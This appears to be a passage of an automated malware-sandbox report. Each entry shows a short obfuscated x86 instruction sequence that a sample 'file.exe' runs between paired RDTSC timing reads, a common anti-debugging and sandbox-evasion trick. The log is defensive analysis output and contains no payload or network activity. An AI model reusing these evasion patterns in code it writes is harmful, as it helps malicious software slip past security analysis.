Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A53B0 second address: 11A53CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC81C965h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A53CA second address: 11A53CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A53CF second address: 11A53D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A53D5 second address: 11A53DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB5DD second address: 11EB5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB96E second address: 11EB97D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBB0A second address: 11EBB14 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3FAC81C956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBC30 second address: 11EBC3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F3FACC550D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBE10 second address: 11EBE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBE15 second address: 11EBE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBF31 second address: 11EBF35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223B17 second address: 1223B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224079 second address: 122407D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122407D second address: 1224083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224083 second address: 12240B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F3FAC81C967h 0x00000013 jmp 00007F3FAC81C95Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12240B6 second address: 12240C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F3FACC550D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12240C0 second address: 12240C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12277F1 second address: 12277FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3FACC550D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12277FB second address: 122782F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81C968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3FAC81C966h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122782F second address: 1227833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230EF2 second address: 1230EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3FAC81C956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230EFC second address: 1230F27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007F3FACC550E4h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230F27 second address: 1230F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FAC81C968h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123121F second address: 1231223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231223 second address: 1231255 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81C962h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F3FAC81C96Ah 0x00000011 jmp 00007F3FAC81C95Eh 0x00000016 jng 00007F3FAC81C956h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231544 second address: 1231548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231548 second address: 1231554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231554 second address: 1231576 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3FACC550E4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F3FACC550DCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231D3B second address: 1231D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC81C967h 0x00000009 jns 00007F3FAC81C956h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231D63 second address: 1231D67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123220D second address: 1232213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230A66 second address: 1230A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230A6E second address: 1230A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237622 second address: 1237626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237626 second address: 123762F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237904 second address: 1237913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F3FACC550D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A292 second address: 123A296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A296 second address: 123A29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1D68 second address: 11A1D8A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3FAC81C96Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1D8A second address: 11A1DA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E2EC second address: 123E2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF4A5 second address: 11AF4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3FACC550D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F3FACC550E0h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF4C8 second address: 11AF4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF4CC second address: 11AF4D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DA1F second address: 123DA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DA2A second address: 123DA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DA2E second address: 123DA71 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F3FAC81C95Ch 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3FAC81C960h 0x00000016 jc 00007F3FAC81C96Ch 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F3FAC81C964h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DA71 second address: 123DA77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DA77 second address: 123DA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DD03 second address: 123DD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DD09 second address: 123DD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F3FAC81C956h 0x0000000f ja 00007F3FAC81C956h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DD1E second address: 123DD3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DD3A second address: 123DD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DD3E second address: 123DD48 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3FACC550D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DD48 second address: 123DD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F3FAC81C96Dh 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DEA5 second address: 123DEC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FACC550E3h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007F3FACC550D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DEC8 second address: 123DEEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F3FAC81C966h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12435D6 second address: 12435EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F3FACC550DDh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243939 second address: 1243945 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243CDF second address: 1243D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E4h 0x00000007 push eax 0x00000008 js 00007F3FACC550D6h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F3FACC550DEh 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243D13 second address: 1243D25 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3FAC81C95Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243D25 second address: 1243D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC17E second address: 11EC183 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC183 second address: 11EC189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC31A second address: 11EC36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jnc 00007F3FAC81C956h 0x0000000e jmp 00007F3FAC81C965h 0x00000013 popad 0x00000014 pop edx 0x00000015 nop 0x00000016 mov dword ptr [ebp+122D33D1h], edi 0x0000001c push 0000001Eh 0x0000001e mov cl, al 0x00000020 mov ecx, dword ptr [ebp+122D1BEFh] 0x00000026 nop 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push esi 0x0000002b pop esi 0x0000002c jmp 00007F3FAC81C964h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243E83 second address: 1243E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243E89 second address: 1243E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124402C second address: 1244048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3FACC550DBh 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jbe 00007F3FACC550D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0F0F second address: 11B0F2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3FAC81C964h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124766E second address: 1247680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247680 second address: 12476A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F3FAC81C967h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12476A3 second address: 12476A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12476A7 second address: 12476B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3FAC81C956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124784C second address: 1247854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247854 second address: 124787D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81C95Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F3FAC81C956h 0x00000011 jmp 00007F3FAC81C963h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124787D second address: 1247896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F3FACC550D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jl 00007F3FACC550DEh 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247896 second address: 124789E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124789E second address: 12478A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3FACC550D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12478A8 second address: 12478BC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FAC81C956h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F3FAC81C956h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D5D4 second address: 124D5F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D5F4 second address: 124D5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D773 second address: 124D781 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3FACC550D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D781 second address: 124D787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D787 second address: 124D78B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D78B second address: 124D791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D791 second address: 124D79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F3FACC550DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D79F second address: 124D7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DC25 second address: 124DC2A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DC2A second address: 124DC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3FAC81C956h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E1FD second address: 124E21F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F3FACC550D6h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jp 00007F3FACC550D6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E21F second address: 124E236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81C95Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E4F1 second address: 124E4F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E4F6 second address: 124E504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F3FAC81C956h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125411F second address: 1254144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FACC550DBh 0x00000009 jl 00007F3FACC550D6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F3FACC550DBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254144 second address: 1254148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12533A3 second address: 12533AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F3FACC550D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12538A0 second address: 12538B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC81C95Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12538B2 second address: 12538DC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3FACC550DEh 0x00000008 jmp 00007F3FACC550DAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3FACC550DCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12538DC second address: 12538E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12538E2 second address: 12538E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
